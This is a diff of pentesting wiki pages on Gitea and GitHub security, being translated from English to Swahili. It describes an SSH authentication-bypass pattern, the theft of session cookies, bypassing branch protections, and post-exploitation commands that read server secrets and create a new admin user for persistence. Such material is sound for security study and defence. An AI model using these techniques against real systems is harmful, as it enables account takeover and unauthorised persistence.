- Fuatilia mifumo isiyo ya kawaida iliyoelezwa hapo juu
- Badilisha credentials za watumiaji walioathirika ikiwa kunashukiwa kompromisi
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
## Kwa ujumla: matumizi mabaya ya SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
Mfano: Ikiwa publickey authenticator ya server inabadilisha state ya mtumiaji/kikao wakati wa awamu ya presignature "key acceptable" na authenticators wengine (mf., password) wanaamini hali hiyo, unaweza kupitisha uthibitisho kwa:
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
- Kuonyesha public key halali ya mtumiaji lengwa (hakuna private key)
- Kulazimisha client kushindwa kusaini ili server irejelee kwenye password
- Kutoa password yoyote huku password authenticator ikifupika kwa leaked state
Practical tips:
Vidokezo vya vitendo:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- Public key harvesting at scale: vuta public keys kutoka vyanzo vya kawaida kama https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): elekeza IdentityFile kwa .pub pekee, weka IdentitiesOnly yes, endelea kuwa PreferredAuthentications inajumuisha publickey kisha password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
- PublickeyAuthenticator.authenticate(...) haipaswi kuambatanisha user/session state hadi postsignature verification path ithibitishe signature
- PasswordAuthenticator.authenticate(...) haipaswi kubaini mafanikio kutokana na state yoyote iliyobadilishwa wakati wa njia ya uthibitisho iliyopita, isiyokamilika
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)

View File

@@ -1,141 +1,130 @@
# Gitea Security
# Usalama wa Gitea
{{#include ../../banners/hacktricks-training.md}}
## What is Gitea
## Nini Gitea
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
**Gitea** ni **ufumbuzi wa mwenyeji wa jamii unaosimamiwa kwa urahisi wa kuhifadhi msimbo** ulioandikwa kwa Go.
![](<../../images/image (160).png>)
### Basic Information
### Taarifa za Msingi
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Lab
To run a Gitea instance locally you can just run a docker container:
## Maabara
Ili kuendesha mfano wa Gitea kwa ndani unaweza tu kuendesha kontena la docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
Unganisha kwenye bandari 3000 ili ufikie ukurasa wa wavuti.
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
Unaweza pia kuendesha kwa kutumia kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## Uainishaji Usio na Uthibitisho
## Unauthenticated Enumeration
- Repos za umma: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Watumiaji waliosajiliwa: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Mashirika yaliyosajiliwa: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujisajili**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**.
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
## Ukatili wa Ndani
## Internal Exploitation
Kwa hali hii tunaenda kudhani kwamba umepata ufikiaji wa akaunti ya github.
For this scenario we are going to suppose that you have obtained some access to a github account.
### Kwa Kutumia Akida za Mtumiaji/Keki ya Mtandao
### With User Credentials/Web Cookie
Ikiwa kwa namna fulani tayari una akida za mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani unazo** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **jinsi repos zinavyolindwa.**
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kupata taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
> [!NOTE]
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji akida au 2FA.
### With User SSH Key
### Kwa Kutumia Funguo za SSH za Mtumiaji
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Gitea inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitatumika kama **njia ya uthibitisho ya kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika).
Kwa funguo hii unaweza kufanya **mabadiliko katika hifadhi ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** kwenye akaunti yake katika _https://github.com/\<gitea_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
**Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### Funguo za GPG
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa.
Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Kwa Token ya Mtumiaji
### With User Token
Kwa utangulizi kuhusu [**Token za Mtumiaji angalia taarifa za msingi**](basic-gitea-information.md#personal-access-tokens).
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
Token ya mtumiaji inaweza kutumika **badala ya nenosiri** ili **kuhakiki** dhidi ya seva ya Gitea [**kupitia API**](https://try.gitea.io/api/swagger#/). itakuwa na **ufikiaji kamili** juu ya mtumiaji.
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
### Kwa Programu ya Oauth
### With Oauth Application
Kwa utangulizi kuhusu [**Programu za Oauth za Gitea angalia taarifa za msingi**](./#with-oauth-application).
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kipaumbele za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Kama ilivyoelezwa katika taarifa za msingi, programu itakuwa na **ufikiaji kamili juu ya akaunti ya mtumiaji**.
As explained in the basic information, the application will have **full access over the user account**.
### Kupita Ulinzi wa Tawi
### Branch Protection Bypass
Katika Github tuna **github actions** ambazo kwa default hupata **token yenye ufikiaji wa kuandika** juu ya repo ambayo inaweza kutumika **kupita ulinzi wa tawi**. Katika kesi hii hiyo **haipo**, hivyo kupita ni mdogo zaidi. Lakini hebu tuangalie kile kinachoweza kufanywa:
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
- **Washa Push**: Ikiwa mtu yeyote mwenye ufikiaji wa kuandika anaweza kusukuma kwenye tawi, sukuma tu.
- **Orodha ya Push zilizozuiliwa**: Kwa njia ile ile, ikiwa wewe ni sehemu ya orodha hii sukuma kwenye tawi.
- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake
- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine
- **Zuia idhini kwa watumiaji walioko kwenye orodha**: Ikiwa ni watumiaji walioko kwenye orodha pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo
- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuiba PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
Kumbuka kwamba **ikiwa wewe ni admin wa org/repo** unaweza kupita ulinzi.
Note that **if you are an org/repo admin** you can bypass the protections.
### Kuorodhesha Webhooks
### Enumerate Webhooks
**Webhooks** zinaweza **kutuma taarifa maalum za gitea mahali fulani**. Unaweza kuwa na uwezo wa **kuitumia mawasiliano hayo**.\
Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuia watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\
Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wanaweza **kuweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
Webhooks zinaweza kuwekwa katika **repo na ngazi ya org**.
Webhooks can be set at **repo and at org level**.
## Baada ya Utekelezaji
## Post Exploitation
### Ndani ya seva
### Inside the server
Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default inapatikana katika `/data/gitea/conf/app.ini`
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
Katika faili hii unaweza kupata **funguo** na **nenosiri**.
In this file you can find **keys** and **passwords**.
Katika njia ya gitea (kwa default: /data/gitea) unaweza pia kupata taarifa za kuvutia kama:
In the gitea path (by default: /data/gitea) you can find also interesting information like:
- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite
- **sessions** ndani ya folda za sessions: Ukikimbia `cat sessions/*/*/*` unaweza kuona majina ya watumiaji walioingia (gitea inaweza pia kuhifadhi sessions ndani ya DB).
- **funguo ya siri ya jwt** ndani ya folda ya jwt
- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
Ikiwa uko ndani ya seva unaweza pia **kutumia `gitea` binary** kupata/kubadilisha taarifa:
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
- `gitea dump` itatoa gitea na kuunda faili .zip
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi)
- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,106 +1,103 @@
# Basic Gitea Information
# Msingi wa Taarifa za Gitea
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
## Muundo wa Msingi
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
Muundo wa mazingira ya Gitea ni kuunganisha repos kwa **shirika(s),** kila moja inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila hifadhi.**
A user may also be **part of different teams** with different permissions over different repos.
Mtumiaji pia anaweza kuwa **sehemu ya timu tofauti** zikiwa na idhini tofauti juu ya repos tofauti.
And finally **repositories may have special protection mechanisms**.
Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi.**
## Permissions
## Idhini
### Organizations
### Mashirika
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
Wakati **shirika linapoundwa,** timu inayoitwa **Wamiliki** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.**
**Org admins** (owners) can select the **visibility** of the organization:
**Wamiliki wa Shirika** wanaweza kuchagua **mwonekano** wa shirika:
- Public
- Limited (logged in users only)
- Private (members only)
- Umma
- Kizuiwa (watumiaji walioingia tu)
- Binafsi (wanachama tu)
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
**Wamiliki wa Shirika** wanaweza pia kuonyesha kama **wasimamizi wa hifadhi** wanaweza **kuongeza au kuondoa ufikiaji** kwa timu. Wanaweza pia kuonyesha idadi ya juu ya repos.
When creating a new team, several important settings are selected:
Wakati wa kuunda timu mpya, mipangilio kadhaa muhimu inachaguliwa:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
- Inabainishwa **repos za shirika ambazo wanachama wa timu wataweza kufikia**: repos maalum (repos ambapo timu imeongezwa) au zote.
- Pia inabainishwa **kama wanachama wanaweza kuunda repos mpya** (mumbaji atapata ufikiaji wa admin kwa hiyo)
- **Idhini** ambazo **wanachama** wa hifadhi wata **kuwa nazo**:
- **Ukurugenzi** wa ufikiaji
- **Ukurugenzi** maalum:
![](<../../images/image (118).png>)
### Teams & Users
### Timu & Watumiaji
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
Katika hifadhi, **mkurugenzi wa shirika** na **wasimamizi wa hifadhi** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na timu. Kuna **3** majukumu yanayowezekana:
- Administrator
- Write
- Read
- Mkurugenzi
- Andika
- Soma
## Gitea Authentication
## Uthibitishaji wa Gitea
### Web Access
### Ufikiaji wa Mtandao
Using **username + password** and potentially (and recommended) a 2FA.
Kutumia **jina la mtumiaji + nenosiri** na labda (na inapendekezwa) 2FA.
### **SSH Keys**
### **Funguo za SSH**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
Unaweza kuunda akaunti yako kwa funguo moja au kadhaa za umma zinazoruhusu **funguo binafsi zinazohusiana kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
#### **Funguo za GPG**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa hutazitumia inaweza kuwa inawezekana kwamba **utagundulika kwa kutuma commits bila saini.**
### **Personal Access Tokens**
### **Tokeni za Ufikiaji Binafsi**
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
Unaweza kuunda tokeni za ufikiaji binafsi ili **kutoa programu ufikiaji wa akaunti yako.** Tokeni ya ufikiaji binafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
### Maombi ya Oauth
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
Kama tokeni za ufikiaji binafsi, **maombi ya Oauth** yatakuwa na **ufikiaji kamili** juu ya akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), maeneo hayajaungwa mkono bado:
![](<../../images/image (194).png>)
### Deploy keys
### Funguo za Kupeleka
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au wa kuandika kwa hifadhi, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum.
## Branch Protections
## Ulinzi wa Tawi
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Ulinzi wa tawi umeundwa ili **kutopeana udhibiti kamili wa hifadhi** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya tawi fulani.**
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
**Ulinzi wa tawi wa hifadhi** unaweza kupatikana katika _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> Haiwezekani kuweka ulinzi wa tawi katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila hifadhi.
Different protections can be applied to a branch (like to master):
Ulinzi tofauti unaweza kutumika kwa tawi (kama kwa master):
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
- **Zima Push**: Hakuna mtu anaweza kusukuma kwenye tawi hili
- **Washa Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu.
- **Push ya Kizuiwa ya Orodha**: Ni watumiaji/timu waliochaguliwa pekee wanaweza kusukuma kwenye tawi hili (lakini si kusukuma kwa nguvu)
- **Washa Orodha ya Merging**: Ni watumiaji/timu walio kwenye orodha pekee wanaweza kuunganishwa PRs.
- **Washa Ukaguzi wa Hali:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa.
- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla PR inaweza kuunganishwa.
- **Zuia idhini kwa walio kwenye orodha**: Onyesha watumiaji/timu wanaoweza kuidhinisha PRs.
- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unakubalika)
- **Zuia kuunganishwa kwenye maombi rasmi ya ukaguzi**: Ikiwa kuna maombi rasmi ya ukaguzi haiwezi kuunganishwa
- **Futa idhini za zamani**: Wakati commits mpya, idhini za zamani zitafutwa.
- **Hitaji Commits Zilizotiwa Saini**: Commits lazima zitiwe saini.
- **Zuia kuunganishwa ikiwa ombi la kuvuta limepitwa na wakati**
- **Mifumo ya faili iliyolindwa/isiyolindwa**: Onyesha mifumo ya faili za kulinda/kutoondoa dhidi ya mabadiliko
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri mchakato wa CI/CD.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## What is Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
(Kutoka [hapa](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**.
### Basic Information
@@ -14,42 +14,42 @@ basic-github-information.md
## External Recon
Github repositories can be configured as public, private and internal.
Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
- **Binafsi** inamaanisha kwamba **tu** watu wa **shirika** wataweza kuzifikia
- **Za ndani** inamaanisha kwamba **tu** watu wa **biashara** (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia
- **Umma** inamaanisha kwamba **mtandao wote** utaweza kuzifikia.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuuko wa taarifa nyeti** **katika kila repo**.
### Github Dorks
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Github inaruhusu **kutafuta kitu kwa kubainisha kama upeo mtumiaji, repo au shirika**. Hivyo, kwa orodha ya nyuzi ambazo zitakuwa karibu na taarifa nyeti unaweza kwa urahisi **kutafuta taarifa nyeti zinazoweza kuwa katika lengo lako**.
Tools (each tool contains its list of dorks):
Tools (kila chombo kina orodha yake ya dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Orodha ya Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Orodha ya Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Orodha ya Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwenye zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits).
Tools (each tool contains its list of regexes):
Tools (kila chombo kina orodha yake ya regexes):
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
Angalia ukurasa huu: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
> Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri!
### External Forks
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. [**Maelezo zaidi kuhusu hii hapa chini**](#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
Hata kama zimefutwa au za ndani inaweza kuwa inawezekana kupata data nyeti kutoka kwa forks za github repositories. Angalia hapa:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -59,192 +59,179 @@ accessible-deleted-data-in-github.md
### Member Privileges
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
Kuna **privileges za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**.
- **Kuvuta repo**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuvuta repos za shirika.
- **Uundaji wa kurasa**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi.
